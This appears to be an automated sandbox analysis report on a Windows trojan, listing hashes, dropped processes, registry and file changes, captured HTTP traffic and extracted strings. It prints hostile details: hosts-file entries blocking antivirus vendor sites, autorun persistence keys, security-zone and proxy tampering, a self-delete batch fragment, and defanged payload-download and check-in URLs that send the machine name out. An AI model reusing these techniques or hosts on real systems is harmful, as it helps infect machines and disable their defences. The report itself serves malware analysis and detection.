MD5: 4a17cdde6644a7626acda7d712055c08
SHA1: c3b05b2244817191e22c07aed57a09c4ca371029
SHA256: b38e7fa11d5672ecbde91958574d86a832e03f66e6b5e80dc2d04f9c2977185d
SSDeep: 768:WssAbLVB6whGSeNs64aeciekinz3FBAJhAg6w/eb6mU1JiSOnJol9:g2LVBRGSey642RnwAgHcdGqSl9
Size: 70332 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2007-03-03 12:01:51
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Dropped creates the following process(es):

comine.exe:1376
ll5266.exe:664
%original file name%.exe:644
awx5266.exe:568
dh5266.exe:1360
cccccc.exe:1388
ping.exe:2000

The Dropped injects its code into the following process(es):

conime5266.exe:820
spolsv.exe:136

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:644 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%WinDir%\spolsv.exe (601 bytes)

The process spolsv.exe:136 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2TYR8BIN\conime5266[1].exe (8084 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8HQTA5YJ\awx5266[1].exe (16073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2TYR8BIN\desktop.ini (67 bytes)
%WinDir%\Help\dh5266.exe (3343 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8HQTA5YJ\dh5266[1].exe (10369 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\EFQX0RSV\desktop.ini (67 bytes)
%WinDir%\Help\ll5266.exe (24 bytes)
%WinDir%\Help\conime5266.exe (576 bytes)
%WinDir%\Help\awx5266.exe (10570 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2TYR8BIN\ll5266[1].exe (2907 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8HQTA5YJ\desktop.ini (67 bytes)
%System%\drivers\etc\hosts (402 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJOFEZGX\desktop.ini (67 bytes)

The Dropped deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

The process awx5266.exe:568 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\EFQX0RSV\iplookup[1].htm (203 bytes)

The process dh5266.exe:1360 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

The process cccccc.exe:1388 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Program Files%\Windows Media Player\comine.exe (61 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~DFE673.tmp (0 bytes)

Registry activity

The process conime5266.exe:820 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D 4C BD A6 AE 2D 15 D6 7D 3A 46 47 2A 13 5E 5C"

The process comine.exe:1376 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"NetHood" = "%Documents and Settings%\%current user%\NetHood"
"Fonts" = "%WinDir%\Fonts"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCR\yali]
"ID" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCR\yali]
"mac" = "a6:5d:83:95:7b:3e"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"PrintHood" = "%Documents and Settings%\%current user%\PrintHood"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKCR\yali]
"(Default)" = "daohang"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"SendTo" = "%Documents and Settings%\%current user%\SendTo"
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8F B7 81 87 69 E1 9B DD AE 57 37 A4 9F 79 F0 6D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Recent" = "%Documents and Settings%\%current user%\Recent"
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

The process ll5266.exe:664 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 E4 EA 5E AE A3 D7 54 4E CB 80 45 91 71 F1 6E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

The process %original file name%.exe:644 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "56 D7 29 63 CE B0 91 BA BB 2D 17 9C 13 39 F8 7E"

The process spolsv.exe:136 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D2 EE 7E 75 30 B4 88 C8 85 53 7E 2A B5 76 77 A5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Dropped adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"conime" = "%WinDir%\spolsv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process awx5266.exe:568 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F6 6B 1E CE 15 2C F2 81 39 64 97 7D B4 F5 C7 B0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process dh5266.exe:1360 makes changes in the system registry.
The Dropped deletes the following value(s) in system registry:
The Dropped disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows"

The process cccccc.exe:1388 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4A DB 7C AC 8C 38 63 78 74 36 B3 77 29 B4 C2 9F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Windows Media Player]
"comine.exe" = "comine"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Dropped adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows" = "%Program Files%\Windows Media Player\comine.exe"

The process ping.exe:2000 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 F3 06 69 F0 4E CE D6 C9 90 F3 CF E9 72 0E 87"

Dropped PE files

HOSTS file anomalies

The Dropped modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 402 bytes in size. The following strings are added to the hosts file listed below:

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&t=21484.08	180.149.136.250
hxxp://www.it885.com.cn/num3.html	124.248.254.82
hxxp://www.it885.com.cn/num3_51la.asp	124.248.254.82
hxxp://www.it885.com.cn/web/get_ad3.asp?type=loadall&machinename=XP10-A8A67A25&cr=yes	124.248.254.82
dk.23145.com	124.232.141.61

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY HTTP Request on Unusual Port Possibly Hostile
ET TROJAN Gaboc Trojan Check-in

Traffic

GET /num3.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.it885.com.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/html

Last-Modified: Mon, 15 Dec 2014 07:59:55 GMT

Accept-Ranges: bytes

ETag: "90466b1d3d18d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 07 Feb 2015 03:58:16 GMT

Content-Length: 37
<script src="num3_51la.asp"></script>....


GET /num3_51la.asp HTTP/1.1

Accept: */*

Referer: hXXp://VVV.it885.com.cn/num3.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.it885.com.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 0

Content-Type: text/html

Server: Microsoft-IIS/7.5

Set-Cookie: ASPSESSIONIDSCTDQARB=DFKOJJGCNGIMOHFLFHJGLOMH; path=/

X-Powered-By: ASP.NET

Date: Sat, 07 Feb 2015 03:58:16 GMT
HTTP/1.1 200 OK..Cache-Control: private..Content-Length: 0..Content-Ty
pe: text/html..Server: Microsoft-IIS/7.5..Set-Cookie: ASPSESSIONIDSCTD
QARB=DFKOJJGCNGIMOHFLFHJGLOMH; path=/..X-Powered-By: ASP.NET..Date: Sa
t, 07 Feb 2015 03:58:16 GMT..

GET /num3.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

If-Modified-Since: Mon, 15 Dec 2014 07:59:55 GMT

If-None-Match: "90466b1d3d18d01:0"

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.it885.com.cn

Connection: Keep-Alive

HTTP/1.1 304 Not Modified

Date: Sat, 07 Feb 2015 03:58:36 GMT

Etag: "90466b1d3d18d01:0"
....


GET /num3_51la.asp HTTP/1.1

Accept: */*

Referer: hXXp://VVV.it885.com.cn/num3.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.it885.com.cn

Connection: Keep-Alive

HTTP/1.1 304 Not Modified

Date: Sat, 07 Feb 2015 03:58:36 GMT

Etag: "90466b1d3d18d01:0"
HTTP/1.1 200 OK..Cache-Control: private..Content-Length: 0..Content-Ty
pe: text/html..Server: Microsoft-IIS/7.5..Set-Cookie: ASPSESSIONIDSCTD
QARB=PCMOJJGCBIILJNCFBCDFALCO; path=/..X-Powered-By: ASP.NET..Date: Sa
t, 07 Feb 2015 03:58:36 GMT..HTTP/1.1 200 OK..Cache-Control: private..
Content-Length: 0..Content-Type: text/html..Server: Microsoft-IIS/7.5.
.Set-Cookie: ASPSESSIONIDSCTDQARB=PCMOJJGCBIILJNCFBCDFALCO; path=/..X-
Powered-By: ASP.NET..Date: Sat, 07 Feb 2015 03:58:36 GMT..

GET /iplookup/iplookup.php?format=js&t=21484.08 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: int.dpool.sina.com.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 07 Feb 2015 03:58:24 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

DPOOL_HEADER: tyr100

Content-Encoding: gzip

SINA-LB:aGEuMTA4LmczLnlmLmxiLnNpbmFub2RlLmNvbQ==

SINA-TS:OTVmMjk2Y2UgMCAwIDAgNSAwCg==
a9............].M..0.....q#.h....]....8..m.&. .wo.t......`.C....z.=...
....,O....%...T.9T...N....g..M...1...f..vs....>......._..&\b1.q..&r
......K.#F&....0..x.....f.............0..

GET /web/get_ad3.asp?type=loadall&machinename=XP10-A8A67A25&cr=yes HTTP/1.1

Accept: */*

Referer: 

Accept-Language: zh-cn

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)

Host: VVV.it885.com.cn

Connection: Keep-Alive

Cookie: 

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Length: 8

Content-Type: text/html

Expires: Sat, 07 Feb 2015 03:57:35 GMT

Server: Microsoft-IIS/7.5

Set-Cookie: ASPSESSIONIDSCTDQARB=LAMOJJGCMGJNMGMAPJEEFJOF; path=/

X-Powered-By: ASP.NET

Date: Sat, 07 Feb 2015 03:58:35 GMT
No ChinaHTTP/1.1 200 OK..Cache-Control: no-cache..Pragma: no-cache..Co
ntent-Length: 8..Content-Type: text/html..Expires: Sat, 07 Feb 2015 03
:57:35 GMT..Server: Microsoft-IIS/7.5..Set-Cookie: ASPSESSIONIDSCTDQAR
B=LAMOJJGCMGJNMGMAPJEEFJOF; path=/..X-Powered-By: ASP.NET..Date: Sat, 
07 Feb 2015 03:58:35 GMT..No China..

The Dropped connects to the servers at the folowing location(s):

.text

.rdata

@.data

__MSVCRT_HEAP_SELECT

user32.dll

WinExec

GetWindowsDirectoryA

KERNEL32.dll

USER32.dll

RegCloseKey

RegOpenKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

InternetOpenUrlA

FindCloseUrlCache

FindNextUrlCacheEntryA

DeleteUrlCacheEntry

FindFirstUrlCacheEntryA

WININET.dll

URLDownloadToFileA

urlmon.dll

GetCPInfo

Software\Microsoft\Windows\CurrentVersion\Run

127.0.0.1 VVV.360.cn

127.0.0.1 VVV.kaspersky.com.cn

127.0.0.1 VVV.ijinshan.com

127.0.0.1 VVV.rising.com.cn

127.0.0.1 cn.trendmicro.com

127.0.0.1 VVV.symantec.com

127.0.0.1 sd.360.cn

127.0.0.1 VVV.eset.com.cn

127.0.0.1 VVV.avast.com

127.0.0.1 VVV.micropoint.com.cn

127.0.0.1 VVV.avira.com

127.0.0.1 VVV.avg.com

127.0.0.1 VVV.jiangmin.com

127.0.0.1 VVV.ggsafe.com

127.0.0.1 guanjia.qq.com

hXXp://192.253.233.21:8914/test/shua.txt

hXXp://192.253.233.21:8914/test/down.txt

%Program Files%\Internet Explorer\iexplore.exe

del "%s"

if exist "%s" goto nimei

del_.bat

hXXp://

spolsv.exe

\spolsv.exe

conime.exe

%WinDir%\spolsv.exe

spolsv.exe_136_rwx_0040D000_00001000:

Software\Microsoft\Windows\CurrentVersion\Run

127.0.0.1 VVV.360.cn

127.0.0.1 VVV.kaspersky.com.cn

127.0.0.1 VVV.ijinshan.com

127.0.0.1 VVV.rising.com.cn

127.0.0.1 cn.trendmicro.com

127.0.0.1 VVV.symantec.com

127.0.0.1 sd.360.cn

127.0.0.1 VVV.eset.com.cn

127.0.0.1 VVV.avast.com

127.0.0.1 VVV.micropoint.com.cn

127.0.0.1 VVV.avira.com

127.0.0.1 VVV.avg.com

127.0.0.1 VVV.jiangmin.com

127.0.0.1 VVV.ggsafe.com

127.0.0.1 guanjia.qq.com

hXXp://192.253.233.21:8914/test/shua.txt

hXXp://192.253.233.21:8914/test/down.txt

%Program Files%\Internet Explorer\iexplore.exe

del "%s"

if exist "%s" goto nimei

del_.bat

hXXp://

spolsv.exe

\spolsv.exe

conime.exe

spolsv.exe_136_rwx_0040F000_0000A000:

%WinDir%\spolsv.exe

conime5266.exe_820:

.text

`.rdata

@.data

__MSVCRT_HEAP_SELECT

user32.dll

KERNEL32.dll

USER32.dll

RegCloseKey

RegOpenKeyExA

ADVAPI32.dll

WS2_32.dll

GetCPInfo

.rsrc

GET %s HTTP/1.1

Referer: %s

Accept-Language: %s

User-Agent: %s

Host: %s

Cookie: %s

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)

hXXp://192.253.234.50/toopu.png

Applications\iexplore.exe\shell\open\command

%s "%s"

hXXp://VVV.it885.com.cn/num3.html

%WinDir%\Help\conime5266.exe

comine.exe_1376:

.text

`.data

.rsrc

MSVBVM60.DLL

vb6chs.dll

d:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB

psapi.dll

kernel32.dll

NTDLL.DLL

shell32.dll

SHFileOperationA

ShellExecuteA

VBA6.DLL

1.vbp

hXXp://VVV.hao12338.com/?index

IEXPLORE.EXE|TTRAVELER.EXE|SOGOUEXPLORER.EXE|360SE.EXE|GREENBROWSER.EXE|FIREFOX.EXE|MAXTHON.EXE|THEWORLD.EXE|OPERA.EXE|CHROME.EXE|SAFARI.EXE|NETSCAPE.EXE

%Program Files%\Windows Media Player

%Program Files%

explorer.exe

WScript.Shell

Iexplore.exe

wscript.shell

